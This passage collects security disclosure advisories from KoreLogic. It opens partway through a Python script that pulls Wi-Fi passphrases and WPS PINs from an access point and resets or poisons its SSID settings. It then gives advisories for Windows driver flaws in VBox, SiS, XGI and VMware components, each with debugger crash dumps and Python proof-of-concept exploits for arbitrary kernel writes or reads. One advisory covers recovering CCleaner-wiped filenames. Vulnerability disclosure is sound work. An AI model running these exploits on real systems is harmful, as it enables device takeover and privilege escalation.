"wl0_passphrase=" in line: print("\twl0 Passphrase: {0}".format(str(line.split("=")[1]))) if "wl1_passphrase=" in line: print("\twl1 Passphrase: {0}".format(str(line.split("=")[1]))) if o.isdefault is not None: print("[+] Checking if administrator passphrase is default -") payload_url = "sysinfo.cgi" response = is_admin_default(o.host) if response is True: print("[+] Passphrase is default, asking for the password -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "device::default_passphrase=" in line: print("\tDefault passphrase: {0}".format(str(line.split("=")[1]))) else: print("[!] Passphrase is not default") if o.getwpspin is not None: print("[+] Getting WPS pin -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "device::wps_pin=" in line: print("\tWPS PIN: {0}".format(str(line.split("=")[1]))) if o.resetwifi is not None: print("[+] Resetting the access point security -") payload_url = "sysinfo.cgi" response = is_admin_default(o.host) if response is True: print("[+] Admin password is default, asking for the password") response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "device::default_passphrase=" in line: passphrase = line.split("=")[1] print("[+] Got the passphrase: {0}".format(str(passphrase))) data5, data2 = reset_ap(o.host, passphrase) if data5 is 'OK' and data2 is 'OK': print("[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2") else: print("[!] Admin password is not default.") if o.poisonwifi is not None: print("[+] Poisoning wireless ssid configuration") payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a" response = run_payload(o.host, payload_url) if response is not -1: payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: ap_poisoned = None for line in response.split("\n"): if "wl0_ssid=" in line or "wl1_ssid=" in line: if "korelogic" in line: print("[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI") ap_poisoned = 1 if ap_poisoned is None: print("[!] Access point ssid settings could not be poisoned, consider running --getclearpw") if payload_url is None: print("[!] No attack has been specified, please see --help") exit(1) return exit(0) if __name__ == "__main__": main() ``` --- ## KL-001-2015-005: VBox Satellite Express Arbitrary Write Privilege Escalation URL: https://korelogic.com/advisories/KL-001-2015-005/ KL-001-2015-005 - VBox Satellite Express Arbitrary Write Privilege Escalation - CVE-2015-6923 - VBox Communications Satellite Express Protocol Advisory ID: KL-001-2015-005 Published: 2015-09-16 Vendor: VBox Communications Product: Satellite Express Protocol Version: 2.3.17.3 Platform: Microsoft Windows XP SP3, Microsoft Windows 7 (x86) CVE: CVE-2015-6923 CWE: CWE-123 - Write-what-where condition Discovered by: Matt Bergin ## References - [CWE-123 - Write-what-where condition](https://cwe.mitre.org/data/definitions/123.html) - [CVE-2015-6923](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6923) - [Signed advisory text](/advisories/KL-001-2015-005.txt) ## Vulnerability Description A vulnerability within the ndvbs module allows an attacker to inject memory they control into an arbitrary location they define. This vulnerability can be used to overwrite function pointers in `HalDispatchTable` resulting in an elevation of privilege. ## Technical Description Example against Windows XP: ```text Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 Debug session time: Tue Mar 10 18:57:54.259 2015 (UTC - 7:00) System Uptime: 0 days 0:11:19.843 ********************************************************************* * * * Bugcheck Analysis * * * ********************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {b41c5d4c, 0, 805068e1, 0} Probably caused by : ndvbs.sys ( ndvbs+94f ) Followup: MachineOwner --------- kd> kn Call stack: # ChildEBP RetAddr 00 f64fda98 8051cc7f nt!KeBugCheckEx+0x1b 01 f64fdaf8 805405d4 nt!MmAccessFault+0x8e7 02 f64fdaf8 805068e1 nt!KiTrap0E+0xcc 03 f64fdbb0 80506aae nt!MmMapLockedPagesSpecifyCache+0x211 04 f64fdbd0 f650e94f nt!MmMapLockedPages+0x18 05 f64fdc34 804ee129 ndvbs+0x94f 06 f64fdc44 80574e56 nt!IopfCallDriver+0x31 07 f64fdc58 80575d11 nt!IopSynchronousServiceTail+0x70 08 f64fdd00 8056e57c nt!IopXxxControlFile+0x5e7 09 f64fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a 0a f64fdd34 7c90e514 nt!KiFastCallEntry+0xf8 0b 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet 0c 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc 0d 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a 0e 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866 0f 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88 10 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e 11 0021f6c0 1e07bd9c _ctypes+0x54d8 12 00000000 00000000 python27!PyObject_Call+0x4c ``` Example against Windows 7: ```text Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86 Copyright (c) Microsoft Corporation. All rights reserved. Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Personal Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850 Kernel base = 0x8280c000 PsLoadedModuleList = 0x82956850 Debug session time: Tue Sep 15 15:08:38.938 2015 (UTC - 7:00) System Uptime: 0 days 0:27:26.358 kd> .symfix;.reload Loading Kernel Symbols ............................................................... ................................................................ ........................ Loading User Symbols Loading unloaded module list ........ kd> !analyze -v ********************************************************************** * * * Bugcheck Analysis * * * ********************************************************************** KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Some common problems are exception code 0x80000003. This means a hard coded breakpoint or assertion was hit, but this system was booted /NODEBUG. This is not supposed to happen as developers should never have hardcoded breakpoints in retail code, but ... If this happens, make sure a debugger gets connected, and the system is booted /DEBUG. This will let us see why this breakpoint is happening. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 929ef938, The address that the exception occurred at Arg3: 974f4a34, Trap Frame Arg4: 00000000 Debugging Details: ------------------ EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: ndvbs+938 929ef938 8b4604 mov eax,dword ptr [esi+4] TRAP_FRAME: 974f4a34 -- (.trap 0xffffffff974f4a34) ErrCode = 00000000 eax=00000000 ebx=85490880 ecx=85de2ae0 edx=85490810 esi=85490810 edi=8460a668 eip=929ef938 esp=974f4aa8 ebp=974f4afc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 ndvbs+0x938: 929ef938 8b4604 mov eax,dword ptr [esi+4] Resetting default scope CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x8E PROCESS_NAME: python.exe CURRENT_IRQL: 0 ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre LAST_CONTROL_TRANSFER: from 82843593 to 929ef938 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 974f4afc 82843593 85de2a28 85490810 85490810 ndvbs+0x938 974f4b14 82a3799f 8460a668 85490810 85490880 nt!IofCallDriver+0x63 974f4b34 82a3ab71 85de2a28 8460a668 00000000 nt!IopSynchronousServiceTail+0x1f8 974f4bd0 82a813f4 85de2a28 85490810 00000000 nt!IopXxxControlFile+0x6aa 974f4c04 8284a1ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 974f4c04 76fa70b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a 0021f99c 00000000 00000000 00000000 00000000 0x76fa70b4 STACK_COMMAND: kb FOLLOWUP_IP: ndvbs+938 929ef938 8b4604 mov eax,dword ptr [esi+4] SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: ndvbs+938 FOLLOWUP_NAME: MachineOwner MODULE_NAME: ndvbs IMAGE_NAME: ndvbs.sys DEBUG_FLR_IMAGE_TIMESTAMP: 3ec77b36 BUCKET_ID: OLD_IMAGE_ndvbs.sys FAILURE_BUCKET_ID: OLD_IMAGE_ndvbs.sys ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:old_image_ndvbs.sys FAILURE_ID_HASH: {e5b892ba-cc2c-e4a4-9b6e-5e8b63660e75} Followup: MachineOwner --------- ``` ## Mitigation and Remediation Recommendation No response from vendor; no remediation available. ## Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. ## Proof of Concept ```python from sys import exit from ctypes import * NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None device = "ndvbs" code = 0x00000ffd inlen = 0x0 outlen = 0x0 inbuf = 0x1 outbuf = 0xffff0000 inBufMem = "\x90"*inlen def main(): try: handle = CreateFileA("\\\\.\\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1) #NtAllocateVirtualMemory(-1,byref(c_int(inbuf)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,inbuf,inlen,outbuf,outlen) CloseHandle(handle) return False if __name__=="__main__": main() ``` --- ## KL-001-2015-003: SiS Windows VGA Display Manager Multiple Privilege Escalation URL: https://korelogic.com/advisories/KL-001-2015-003/ KL-001-2015-003 - SiS Windows VGA Display Manager Multiple Privilege Escalation - CVE-2015-5465 - Silicon Integrated Systems Corporation Windows VGA Display Manager Advisory ID: KL-001-2015-003 Published: 2015-09-01 Vendor: Silicon Integrated Systems Corporation Product: Windows VGA Display Manager Version: 6.14.10.3930 Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3 CVE: CVE-2015-5465 CWE: CWE-123 - Write-what-where condition Discovered by: Matt Bergin ## References - [CWE-123 - Write-what-where condition](https://cwe.mitre.org/data/definitions/123.html) - [CVE-2015-5465](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5465) - [Signed advisory text](/advisories/KL-001-2015-003.txt) ## Vulnerability Description Vulnerabilities within the srvkp module allows an attacker to inject memory they control into an arbitrary location they define or cause memory corruption. IOCTL request codes `0x96002400` and `0x96002404` have been demonstrated to trigger these vulnerabilities. These vulnerabilities can be used to obtain control of code flow in a privileged process and ultimately be used to escalate the privilege of an attacker. ## Technical Description Example against Windows XP: ```text Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {ffff0000, 1, 804f3b76, 0} Probably caused by : srvkp.sys ( srvkp+3329 ) Followup: MachineOwner --------- kd> kn Call stack: # ChildEBP RetAddr 00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b 01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7 02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc 03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92 04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3 05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5 06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11 07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b 08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8 09 f6a52c34 804ee129 srvkp+0x3329 0a f6a52c44 80574e56 nt!IopfCallDriver+0x31 0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70 0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7 0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a 0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8 0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet 10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc 11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a 12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866 13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88 14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e 15 0021f6c0 1e07bd9c _ctypes+0x54d8 16 00000000 00000000 python27!PyObject_Call+0x4c ``` Example against Windows 7: ```text Microsoft (R) Windows Debugger Version 6.2.9200.20512 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\Windows\MEMORY.DMP] Kernel Summary Dump File: Only kernel address space is available Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** Executable search path is: ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntkrpamp.exe - Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850 Machine Name: Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850 Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00) System Uptime: 0 days 11:46:55.313 ********************************************************************* * Symbols can not be loaded because symbol path is not initialized. * * * * The Symbol Path can be set by: * * using the _NT_SYMBOL_PATH environment variable. * * using the -y argument when starting the debugger. * * using .sympath and .sympath+ * ********************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntkrpamp.exe - Loading Kernel Symbols ............................................................... ................................................................ ..................................... Loading User Symbols PEB is paged out (Peb.Ldr = 7ffd400c). Type ".hh dbgerr001" for details Loading unloaded module list .............................. ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 8E, {c0000005, ac08f2fa, 93df4a50, 0} ***** Kernel symbols are WRONG. Please fix symbols to do analysis. ... ... ... Followup: MachineOwner --------- kd> .symfix;.reload Loading Kernel Symbols ............................................................... ................................................................ ..................................... Loading User Symbols PEB is paged out (Peb.Ldr = 7ffd400c). Type ".hh dbgerr001" for details Loading unloaded module list .............................. kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Some common problems are exception code 0x80000003. This means a hard coded breakpoint or assertion was hit, but this system was booted /NODEBUG. This is not supposed to happen as developers should never have hardcoded breakpoints in retail code, but ... If this happens, make sure a debugger gets connected, and the system is booted /DEBUG. This will let us see why this breakpoint is happening. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: ac08f2fa, The address that the exception occurred at Arg3: 93df4a50, Trap Frame Arg4: 00000000 Debugging Details: ------------------ *** ERROR: Module load completed but symbols could not be loaded for srvkp.sys EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: srvkp+32fa ac08f2fa 8b4804 mov ecx,dword ptr [eax+4] TRAP_FRAME: 93df4a50 -- (.trap 0xffffffff93df4a50) ErrCode = 00000000 eax=00000000 ebx=00000000 ecx=00000000 edx=93df4ae4 esi=85644140 edi=d68fc588 eip=ac08f2fa esp=93df4ac4 ebp=93df4afc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 srvkp+0x32fa: ac08f2fa 8b4804 mov ecx,dword ptr [eax+4] ds:0023:00000004=???????? Resetting default scope DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x8E PROCESS_NAME: python.exe CURRENT_IRQL: 0 LAST_CONTROL_TRANSFER: from 82ac708c to 82af0f20 STACK_TEXT: 93df45c4 82ac708c 0000008e c0000005 ac08f2fa nt!KeBugCheckEx+0x1e 93df49e0 82a50dd6 93df49fc 00000000 93df4a50 nt!KiDispatchException+0x1ac 93df4a48 82a50d8a 93df4afc ac08f2fa badb0d00 nt!CommonDispatchException+0x4a 93df4afc 82a49593 85644140 869fb048 869fb048 nt!KiExceptionExit+0x192 93df4b14 82c3d99f d68fc588 869fb048 869fb0b8 nt!IofCallDriver+0x63 93df4b34 82c40b71 85644140 d68fc588 00000000 nt!IopSynchronousServiceTail+0x1f8 93df4bd0 82c873f4 85644140 869fb048 00000000 nt!IopXxxControlFile+0x6aa 93df4c04 82a501ea 00000088 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 93df4c04 77d270b4 00000088 00000000 00000000 nt!KiFastCallEntry+0x12a WARNING: Frame IP not in any known module. Following frames may be wrong. 0021f3dc 00000000 00000000 00000000 00000000 0x77d270b4 STACK_COMMAND: kb FOLLOWUP_IP: srvkp+32fa ac08f2fa 8b4804 mov ecx,dword ptr [eax+4] SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: srvkp+32fa FOLLOWUP_NAME: MachineOwner MODULE_NAME: srvkp IMAGE_NAME: srvkp.sys DEBUG_FLR_IMAGE_TIMESTAMP: 4cc65532 FAILURE_BUCKET_ID: 0x8E_srvkp+32fa BUCKET_ID: 0x8E_srvkp+32fa Followup: MachineOwner --------- ``` ## Mitigation and Remediation Recommendation No response from vendor; no remediation available. ## Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. ## Proof of Concept ```python # Arbitrary Write (Windows XP) from sys import exit from ctypes import * NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None device = "siskp" code = 0x96002404 inlen = 0xe6b6 outlen = 0x0 inbuf = 0x1 outbuf = 0xffff0000 inBufMem = "\x90"*inlen def main(): try: handle = CreateFileA("\\\\.\\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0))) DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,outbuf,outlen) CloseHandle(handle) return False if __name__=="__main__": main() ``` and ```python # Null Pointer Dereference (Windows XP/7) from sys import exit from ctypes import * DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None device = "siskp" code = 0x96002400 def main(): try: handle = CreateFileA("\\\\.\\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1) DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,0x0,0x0,0x0) CloseHandle(handle) return False if __name__=="__main__": main() ``` --- ## KL-001-2015-004: XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation URL: https://korelogic.com/advisories/KL-001-2015-004/ KL-001-2015-004 - XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation - CVE-2015-5466 - Silicon Integrated Systems Corporation XGI VGA Display Manager Advisory ID: KL-001-2015-004 Published: 2015-09-01 Vendor: Silicon Integrated Systems Corporation Product: XGI VGA Display Manager Version: 6.14.10.1090 Platform: Microsoft Windows XP SP3 CVE: CVE-2015-5466 CWE: CWE-123 - Write-what-where condition Discovered by: Matt Bergin ## References - [CWE-123 - Write-what-where condition](https://cwe.mitre.org/data/definitions/123.html) - [CVE-2015-5466](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5466) - [Signed advisory text](/advisories/KL-001-2015-004.txt) ## Vulnerability Description A vulnerability within the xrvkp module allows an attacker to inject memory they control into an arbitrary location they define. This vulnerability can be used to overwrite function pointers in `HalDispatchTable` resulting in an elevation of privilege. ## Technical Description ```text Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 50, {ffff0000, 1, 804f3b76, 0} Probably caused by : xrvkp.sys ( xrvkp+6ec ) Followup: MachineOwner --------- kd> kn Call stack: # ChildEBP RetAddr 00 f63fd9a0 8051cc7f nt!KeBugCheckEx+0x1b 01 f63fda00 805405d4 nt!MmAccessFault+0x8e7 02 f63fda00 804f3b76 nt!KiTrap0E+0xcc 03 f63fdad0 804fdaf1 nt!IopCompleteRequest+0x92 04 f63fdb20 806d3c35 nt!KiDeliverApc+0xb3 05 f63fdb20 806d3861 hal!HalpApcInterrupt+0xc5 06 f63fdba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11 07 f63fdbc8 804f07e4 nt!KeInsertQueueApc+0x4b 08 f63fdbfc f7b136ec nt!IopfCompleteRequest+0x1d8 09 f63fdc34 804ee129 xrvkp+0x6ec 0a f63fdc44 80574e56 nt!IopfCallDriver+0x31 0b f63fdc58 80575d11 nt!IopSynchronousServiceTail+0x70 0c f63fdd00 8056e57c nt!IopXxxControlFile+0x5e7 0d f63fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a 0e f63fdd34 7c90e514 nt!KiFastCallEntry+0xf8 0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet 10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc 11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a 12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866 13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88 14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e 15 0021f6c0 1e07bd9c _ctypes+0x54d8 16 00000000 00000000 python27!PyObject_Call+0x4c ``` ## Mitigation and Remediation Recommendation No response from vendor; no remediation available. ## Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. ## Proof of Concept ```python from sys import exit from ctypes import * NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None device = "xgikp" code = 0x96002404 inlen = 0xe6b6 outlen = 0x0 inbuf = 0x1 outbuf = 0xffff0000 inBufMem = "\x90"*inlen def main(): try: handle = CreateFileA("\\\\.\\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0))) DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,outbuf,outlen) CloseHandle(handle) return False if __name__=="__main__": main() ``` --- ## KL-001-2015-002: Piriform CCleaner Wiped Filename Recovery URL: https://korelogic.com/advisories/KL-001-2015-002/ KL-001-2015-002 - Piriform CCleaner Wiped Filename Recovery - CVE-2015-3999 - Piriform CCleaner Advisory ID: KL-001-2015-002 Published: 2015-05-18 Vendor: Piriform Product: CCleaner Version: 3.26.0.1988 - 5.02.5101 Platform: Microsoft Windows 7 x64 Service Pack 1 CVE: CVE-2015-3999 CWE: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor Discovered by: Don Allison ## References - [CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html) - [CVE-2015-3999](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3999) - [Signed advisory text](/advisories/KL-001-2015-002.txt) ## Vulnerability Description The use of CCleaner is encountered at times during forensic investigations of computer systems. It has a secure deletion mode where it can overwrite data, filenames, and free space. Overwriting files and filenames removes the chance to recover the data and subject it to further analyses. Due to how the software works, CCleaner will actually tell you the names of files that it wiped. ## Technical Description Filenames are overwritten with the letter "Z" when CCleaner is tasked to overwrite files. On an NTFS formatted drive, the filename records in the Master File Table are replaced with the letter "Z". For example, a file named "TEST.TXT" will have each character in the name overwritten with the letter Z and will be renamed to "ZZZZ.ZZZ" after the process is completed. For example, as CCleaner was executing, the filename "TEST.TXT" was seen being written out to disk a few times, followed by the pattern "ZZZZ.ZZZ". The other filenames being overwritten were handled in the same fashion. This pattern of overwriting filenames was found in the unallocated space of the hard drive. The search results looked like this: ```text TEST.TXT TEST.TXT TEST.TXT ZZZZ.ZZZ ZZZZ.ZZZ ZZZZ.ZZZ TEST1.TXT TEST1.TXT TEST1.TXT ZZZZZ.ZZZ ZZZZZ.ZZZ ZZZZZ.ZZZ ``` Once some original filenames are recovered, the analyst can attempt to use that to locate other references, or fragments in unallocated space, etc. ## Mitigation and Remediation Recommendation None ## Credit This vulnerability was discovered by Don Allison of KoreLogic Security, Inc. ## Proof of Concept N/A --- ## KL-001-2014-004: VMWare vmx86.sys Arbitrary Kernel Read URL: https://korelogic.com/advisories/KL-001-2014-004/ KL-001-2014-004 - VMWare vmx86.sys Arbitrary Kernel Read - VMWare Workstation Advisory ID: KL-001-2014-004 Published: 2014-11-04 Vendor: VMWare Product: Workstation Version: 10.0.0.40273 Platform: Microsoft Windows XP SP3 x86, Microsoft Windows Server 2003 SP2 x86, Microsoft Windows 7 SP1 x86 CWE: CWE-20 - Improper Input Validation Discovered by: Matt Bergin ## References - [CWE-20 - Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) - [Signed advisory text](/advisories/KL-001-2014-004.txt) ## Vulnerability Description A vulnerability within the vmx86 driver allows an attacker to specify a memory address within the kernel and have the memory stored at that address be returned to the attacker. ## Technical Description The first four bytes of the `InputBuffer` parameter passed to `DeviceIoControl` is used as the source parameter in a `memcpy` call. The `InputBuffer` must be a minimum of eight bytes long in order to trigger the vulnerability. The `OutputBuffer` parameter passed to `DeviceIoControl` is used as the destination address for the output from the `DeviceIoControl` call. In this case, the data returned is the same data residing at the source parameter of `memcpy`. This can therefore be abused in a way that allows an attacker to arbitrarily define a kernel address, and have the memory stored at that address be returned to the attacker at an address residing in userland. ```text Probably caused by : vmx86.sys ( vmx86+bd6 ) Followup: MachineOwner --------- kd> .symfix;.reload;!analyze -v Loading Kernel Symbols ............................................................... ................................................................ ................................................... Loading User Symbols ......................... Loading unloaded module list ..... ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff0000, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: - ------------------ READ_ADDRESS: ffff0000 FAULTING_IP: nt!memcpy+33 82c727f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: python.exe CURRENT_IRQL: 0 ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre TRAP_FRAME: 822e47dc -- (.trap 0xffffffff822e47dc) ErrCode = 00000000 eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0 nv up ei pl nz ac po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212 nt!memcpy+0x33: 82c727f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope LAST_CONTROL_TRANSFER: from 82c7a3d8 to 82cc741b STACK_TEXT: 822e47c4 82c7a3d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106 822e47c4 82c727f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc 822e4858 93572bd6 856a9000 